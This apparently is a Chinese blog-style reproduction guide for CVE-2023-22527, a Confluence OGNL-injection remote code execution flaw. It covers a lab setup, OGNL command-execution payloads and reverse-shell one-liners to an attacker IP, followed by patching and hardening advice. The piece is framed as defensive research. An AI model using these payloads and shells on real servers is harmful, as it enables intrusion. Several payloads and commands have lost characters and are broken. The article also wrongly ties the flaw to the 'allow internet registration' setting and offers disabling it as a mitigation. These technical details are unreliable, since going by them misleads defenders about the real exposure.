CVE-2023-22527漏洞深度剖析:Confluence OGNL注入与远程代码执行实战

📅 2026/6/28 18:00:18
CVE-2023-22527漏洞深度剖析:Confluence OGNL注入与远程代码执行实战
1. 项目概述一次对CVE-2023-22527的深度剖析最近在安全研究圈里CVE-2023-22527这个编号被反复提及它指向的是Atlassian Confluence Data Center和Server版本中的一个高危远程代码执行漏洞。简单来说这个漏洞允许未经身份验证的攻击者在特定配置下直接在目标Confluence服务器上执行任意代码从而完全控制服务器。对于任何一个运行着Confluence无论是用于内部知识管理还是对外协作的组织来说这无疑是一个需要立即响应的“红色警报”。我花了些时间在可控的隔离环境中对这个漏洞进行了完整的复现和分析目的不是为了搞破坏而是为了彻底理解它的成因、触发条件以及防御要点。只有亲手“挖”过才能更深刻地知道如何“堵”。这篇文章我就把这次复现的完整过程、技术细节、踩过的坑以及核心的防御思路毫无保留地分享出来。无论你是安全研究人员、渗透测试工程师还是负责维护Confluence系统的运维或开发人员这篇详实的记录都能帮你建立起对这个漏洞的立体认知。2. 漏洞背景与核心原理拆解在动手之前我们必须先搞清楚这个漏洞的“病根”在哪里。盲目复现就像蒙着眼睛拆弹既危险又低效。2.1 Confluence与Ognl表达式注入的“历史渊源”Atlassian Confluence是一个广泛使用的企业级Wiki和协作软件。它基于Java开发并大量使用了Apache Struts2框架来处理Web请求。熟悉安全史的朋友可能立刻会想到“Struts2漏洞家族”其中OgnlObject-Graph Navigation Language表达式注入是其中经典且危害极大的一类。Ognl是Struts2中用于在视图层和控制器层之间传递和计算数据的一种强大表达式语言。然而能力越大责任越大如果对用户输入处理不当攻击者精心构造的Ognl表达式就可能被服务器执行从而导致远程代码执行。CVE-2023-22527正是Struts2 Ognl表达式注入漏洞在Confluence特定版本中的又一次体现。它并非一个全新的漏洞类型但其利用链和触发点具有Confluence自身的特性。官方公告指出该漏洞影响Confluence Data Center和Server的多个版本主要集中在8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x以及8.5.0-8.5.3。如果您的Confluence运行在这些版本范围内并且没有安装2023年10月及之后发布的安全补丁那么您的系统就处于风险之中。2.2 漏洞触发的关键条件与利用链分析这个漏洞的利用并非“有手就行”它依赖于一个特定的前置条件Confluence实例必须启用了“允许从互联网注册”的功能。这个功能通常位于“管理” - “用户管理” - “用户注册”设置中。在标准的内部部署中管理员很少会开启这个选项因为它允许互联网上的任何人申请账户。然而在一些面向外部协作或社区的场景下或者由于配置疏忽这个功能可能被启用。漏洞就潜伏在处理这些用户注册或相关请求的Struts2 Action中。攻击链大致可以这样理解入口点攻击者向一个特定的、无需认证即可访问的Confluence端点例如与用户注册、密码重置或某些信息查询相关的URL发送HTTP请求。参数污染在请求的参数中攻击者插入恶意的Ognl表达式。由于Struts2框架对该参数值的过滤和校验存在缺陷这个表达式没有被正确清理。表达式解析与执行Confluence服务器端的Struts2在处理该请求时将恶意参数值作为Ognl表达式进行解析。Ognl引擎在执行表达式时会访问和操作Java对象。代码执行通过精心构造的Ognl表达式攻击者可以调用Java的运行时环境java.lang.Runtime从而执行服务器操作系统上的任意命令。例如可以执行whoami、id来确认权限或者下载并执行反弹Shell的脚本最终完全控制服务器。注意复现此漏洞必须在完全隔离的实验室环境如虚拟机、独立的Docker容器中进行目标必须是您拥有完全控制权的测试实例。任何对非授权系统的测试都是非法且不道德的。3. 复现环境搭建与准备“工欲善其事必先利其器”。一个稳定、隔离的复现环境是安全研究的第一步。3.1 靶机环境部署为了还原真实场景我选择在虚拟机中部署一个存在漏洞的Confluence版本。这里以Linux系统为例。1. 基础环境准备首先确保你的虚拟机有足够的资源建议4核CPU8GB内存50GB磁盘。安装Java运行环境是必须的Confluence 8.x 通常需要JDK 11。# 以Ubuntu/Debian为例 sudo apt update sudo apt install openjdk-11-jdk -y java -version # 确认版本2. 下载存在漏洞的Confluence版本从Atlassian官方存档或可信的镜像站点下载一个受影响的版本。例如我选择了Confluence 8.5.2。请注意务必使用.bin安装文件或归档文件避免使用已包含修复的安装器。wget https://example-mirror.com/atlassian/confluence-8.5.2-x64.bin # 请替换为实际可用的下载链接注意版权和许可。 chmod x confluence-8.5.2-x64.bin3. 安装与初始配置运行安装程序它会引导你完成安装目录、端口默认8090、服务创建等步骤。安装过程中它会提示你输入一个“安装密钥”对于测试你可以选择“试用”或使用公开的测试密钥请遵守Atlassian的评估许可。安装完成后通过浏览器访问http://your-vm-ip:8090进行初始设置。数据库选择为了简化在测试环境可以直接使用Confluence内置的H2数据库不适用于生产环境。在生产复现中你可能需要配置一个独立的MySQL或PostgreSQL。设置管理员账户记住你设置的用户名和密码。应用许可证同样选择试用或使用测试密钥。4. 启用关键漏洞前置条件安装配置完成后以管理员身份登录Confluence。进入“设置” - “用户管理” - “用户注册”。在这里找到“允许从互联网注册”或类似的选项并将其启用。这是漏洞能够被远程利用的必要条件。同时为了模拟更真实的攻击路径可以暂时关闭注册验证码如果有但这并非漏洞利用的必须条件。3.2 攻击机工具链配置我的攻击机是一台Kali Linux虚拟机与靶机在同一网络段如NAT网络或Host-Only网络确保网络互通。核心工具Burp Suite Professional/Community用于拦截、查看、修改和重放HTTP请求。社区版足以完成本次复现。它是分析HTTP流量、构造Payload的瑞士军刀。curl / wget命令行HTTP客户端用于快速发送请求和测试。Netcat (nc)瑞士军刀般的网络工具用于监听反弹Shell的连接。Python3用于编写简单的脚本来自动化某些步骤或处理数据。环境检查确保你的攻击机可以ping通靶机的IP地址并且能访问到Confluence的Web端口默认8090。4. 漏洞利用过程深度解析这是整个复现的核心环节。我们将一步步拆解攻击者的操作。4.1 信息收集与端点探测首先我们需要找到那个存在缺陷的、未授权可访问的Struts2 Action端点。通过分析公开的漏洞信息、历史Struts2漏洞的利用模式以及对Confluence默认路由的研究可以锁定一些潜在的路径。例如与用户会话、注册、登录、信息查询相关的端点往往是高危区。使用浏览器开发者工具或Burp Suite在正常浏览Confluence页面时观察网络请求。特别关注那些URL中包含.action后缀的请求。同时可以尝试访问一些常见的、可能无需认证的端点例如/index.action/login.action/register.action/forgotuserpassword.action/json/*.action(某些JSON API端点)在Burp Suite的Target站点地图中你会看到Confluence的目录结构。我们的目标是找到一个在未登录状态下访问不会直接302跳转到登录页并且其响应中可能包含我们可控参数的端点。4.2 恶意Payload构造与注入找到可疑端点后下一步是尝试注入Ognl表达式。Struts2的Ognl注入Payload经过多年发展已经非常成熟。其核心是绕过沙箱限制最终调用Runtime.getRuntime().exec()。一个经典的测试Payload是执行id或whoami命令用于验证漏洞是否存在以及当前Web服务的运行权限。由于HTTP参数需要编码我们通常会将命令执行的结果输出到Web目录下的一个文件中然后通过访问该文件来读取结果。构造思路示例假设我们找到了一个名为/someEndpoint.action的端点它有一个参数paramName。基础探测先发送一个正常请求观察响应。注入尝试将paramName的值替换为一个简单的Ognl表达式例如用于触发延迟的表达式观察服务器响应时间是否变化初步判断是否存在表达式解析。命令执行构造构造能执行系统命令的Ognl表达式。由于直接执行命令可能涉及复杂字符和编码通常采用分步方式。例如先尝试让服务器将命令执行结果写入一个临时文件。Payload概念(#cmdid).(#pnew java.lang.ProcessBuilder(#cmd)).(#p.redirectErrorStream(true)).(#process#p.start()).(#osorg.apache.struts2.ServletActionContextgetResponse().getOutputStream()).(org.apache.commons.io.IOUtilscopy(#process.getInputStream(), #os))实际利用在实际的CVE-2023-22527利用中攻击者会利用Confluence中特定的类和方法链来构造更稳定、更隐蔽的Payload。这些Payload通常经过高度混淆和编码以绕过WAF和简单的字符串过滤。实操心得公开的PoC概念验证代码或Payload经常会在GitHub、安全研究论坛找到。但是直接运行来路不明的PoC脚本是极其危险的它可能包含后门或进行不可预期的操作。我的做法是首先在完全隔离的测试环境中运行其次使用Burp Suite手动构造和发送单个请求理解每一个参数和Payload片段的意义而不是盲目执行一个exploit.py。这不仅能确保安全更是深度学习漏洞机理的过程。4.3 利用Burp Suite进行手动利用这里我演示一个高度简化的、用于原理验证的手动利用过程实际利用链更复杂启动Burp Suite配置浏览器代理指向Burp默认127.0.0.1:8080。在浏览器中访问靶机Confluence的注册页面或触发相关动作让请求经过Burp。在Burp的Proxy - Intercept选项卡找到拦截到的相关.action请求将其发送到Repeater模块。Repeater允许我们反复修改和发送同一个请求。在Repeater中我们尝试修改请求。例如将请求方法改为POST如果原来是GET并添加或修改一个参数。根据漏洞详情攻击可能针对特定的HTTP头或参数。插入Payload。假设存在漏洞的参数是username这只是一个示例真实参数名不同我们构造如下PayloadURL编码前username%24%7B%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29%29%2C%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D这个Payload解码后大致是${(#ajava.lang.RuntimegetRuntime().exec(id)),(org.apache.commons.io.IOUtilstoString(#a.getInputStream()))}。它试图执行id命令并将输出结果直接包含在HTTP响应中。发送请求。关键观察点响应时间如果服务器执行了命令响应可能会有明显延迟。响应内容在HTTP响应体中搜索命令输出如uid...。如果漏洞存在且Payload有效你可能会在HTML源码的某个角落看到id命令的输出。响应状态码有时服务器会返回500错误但错误信息中可能泄露命令执行结果。一个重要技巧如果直接回显失败可以尝试让命令将结果写入Web目录文件。这需要你知道Confluence的绝对路径。例如执行id /opt/atlassian/confluence/temp/result.txt然后通过浏览器访问http://target:8090/temp/result.txt来查看结果。这需要你对目标系统的路径有基本了解。4.4 获取反向Shell验证命令执行成功后下一步就是获取一个交互式的Shell以便进行更深入的操作。最常用的方法是使用反向Shell。在攻击机上监听在Kali上打开一个终端用Netcat监听一个端口例如4444。nc -lvnp 4444构造反向Shell命令我们需要一个能在目标服务器上执行的命令让其连接到我们的攻击机。常用的Payload包括Bashbash -c bash -i /dev/tcp/攻击机IP/4444 01Pythonpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)PowerShell如果目标是Windows但Confluence通常部署在Linux。通过漏洞执行命令将上述反向Shell命令进行适当的编码避免特殊字符破坏HTTP请求替换之前PoC中的id命令通过Burp Repeater发送。建立连接如果一切顺利你会在Netcat监听端口中看到来自靶机的连接并获得一个Shell。执行whoami和pwd来确认当前用户和目录通常是运行Confluence服务的用户如confluence。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。在确认漏洞存在和危害后应立即转向修复和加固。5.1 官方补丁升级这是最根本、最有效的解决方案。Atlassian在发布安全公告的同时会提供修复了该漏洞的软件版本。确定受影响版本访问Atlassian官方安全公告确认你的Confluence版本是否在受影响范围内。备份数据在进行任何升级前务必对Confluence的数据库和confluence-home目录包含附件、索引等进行完整备份。升级到安全版本根据Atlassian的升级指南将Confluence升级到已修复该漏洞的版本。例如对于CVE-2023-22527需要升级到8.5.4 (LTS), 8.6.0或更高版本。验证升级升级完成后再次访问之前可能存在漏洞的端点并使用简单的探测Payload进行测试在隔离环境确认漏洞已修复。5.2 临时缓解措施如果由于某些原因无法立即升级可以采取以下临时措施来阻断攻击禁用“允许从互联网注册”立即进入Confluence管理界面在“用户管理” - “用户注册”中禁用此功能。这是阻断此漏洞利用路径最直接的方法。即使漏洞代码依然存在攻击者也无法访问到触发漏洞的入口点。网络层防护防火墙规则在Confluence服务器前端的防火墙或安全组上严格限制访问源IP。只允许可信的办公网络或VPN IP地址访问Confluence的Web端口默认8090。WAFWeb应用防火墙部署或启用WAF并更新规则集以拦截针对Struts2 Ognl注入的攻击模式。许多云WAF或开源WAF如ModSecurity都有相关的防护规则。应用层防护如果对Struts2熟悉可以审查相关的struts.xml配置文件对可疑的Action进行更严格的输入验证或直接禁用。但这需要较高的技术能力且可能影响正常功能。5.3 安全配置最佳实践除了应对特定漏洞养成良好的安全配置习惯能防患于未然最小权限原则运行Confluence的系统和数据库账户应仅被授予所需的最小权限。避免使用root或高权限账户运行服务。定期更新与补丁管理订阅Atlassian的安全通告建立规范的补丁管理和升级流程。不要长期运行已停止支持的老旧版本。强化网络访问控制Confluence管理界面通常包含/admin路径应仅限内部网络或通过VPN访问。考虑将Confluence部署在内网通过反向代理如Nginx/Apache对外提供访问并在代理层增加额外的安全头如CSP和访问控制。启用审计日志确保Confluence的访问日志和审计日志是开启的并定期审查异常访问模式例如大量来自单一IP的注册尝试、访问异常Action的请求等。安全开发生命周期如果是自定义开发了Confluence插件务必对用户输入进行严格的校验、过滤和编码避免引入新的注入类漏洞。6. 复现过程中的常见问题与排查在复现过程中我遇到了几个典型问题这里记录下来供大家参考。6.1 漏洞无法触发问题按照步骤发送Payload后服务器返回404、302跳转到登录页或者返回正常页面但没有命令执行迹象。排查确认前置条件再次登录Confluence管理后台百分百确认“允许从互联网注册”功能是开启的。这是最容易忽略的一步。确认版本检查Confluence的“关于”页面确认安装的版本确实在受影响范围内如8.5.2。有时可能误装了已打补丁的版本。确认端点仔细核对使用的URL端点是否正确。不同的Confluence版本或配置其Action路径可能有细微差别。尝试使用Burp的爬虫功能或目录扫描工具如gobuster、dirsearch对*.action路径进行发现。注意扫描强度和频率避免对生产系统造成影响。Payload编码确保Payload进行了正确的URL编码。在Burp Repeater中可以使用CtrlU进行快速编解码。特殊字符、空格、引号都可能影响Payload解析。命令回显方式如果直接回显失败尝试使用“写入文件再访问”的方式。确保你猜测的Web可访问路径是正确的。可以尝试先执行pwd命令写入文件来确定当前工作目录。6.2 命令执行成功但无回显问题Netcat监听端口有连接进入但很快断开或者连接后无法输入命令。排查防火墙/出站规则确保靶机Confluence服务器可以访问攻击机的监听IP和端口。检查靶机上的防火墙规则iptables、firewalld或云主机的安全组出站规则。反向Shell稳定性基础的bash -i或nc反向Shell可能不稳定。尝试使用更稳定的Payload例如上面提到的Python PTY反向Shell或者使用socat、msfvenom生成编码后的Payload。终端交互问题获取到Shell后先尝试执行script /dev/null或python -c import pty; pty.spawn(/bin/bash)来尝试升级为一个完全交互式的TTY。6.3 环境差异导致的问题问题别人的PoC能成功但在我的环境里失败。排查Java版本Confluence对JDK版本有要求不兼容的Java版本可能导致Struts2行为异常。确保使用官方推荐的JDK版本。数据库差异使用内置H2数据库和外部MySQL数据库在部分路径和权限上可能有细微差别可能影响写入文件的操作。操作系统差异Linux和Windows的命令语法、路径分隔符/vs\完全不同。确保你的Payload是针对目标操作系统通常是Linux构造的。Payload依赖的类库某些复杂的Ognl Payload可能依赖特定的第三方JAR包如commons-io。如果目标Confluence的WEB-INF/lib目录下没有相应的库Payload可能会执行失败。尝试使用更通用、依赖更少的Payload。这次对CVE-2023-22527的复现让我再次深刻体会到对于广泛使用的企业级软件一个配置选项的疏忽就可能打开一道危险的大门。安全不是一个功能而是一个贯穿于系统设计、部署、配置和运维全过程的状态。作为防御方我们需要时刻保持警惕及时打补丁、遵循最小权限原则、实施深度防御。而作为安全研究者在法律的边界和道德的准则内通过动手复现去理解漏洞是我们提升实战能力、更好地履行防御职责的必经之路。在测试的最后别忘了将你的测试环境回滚到安全状态或者直接销毁确保没有任何测试用的后门或文件残留。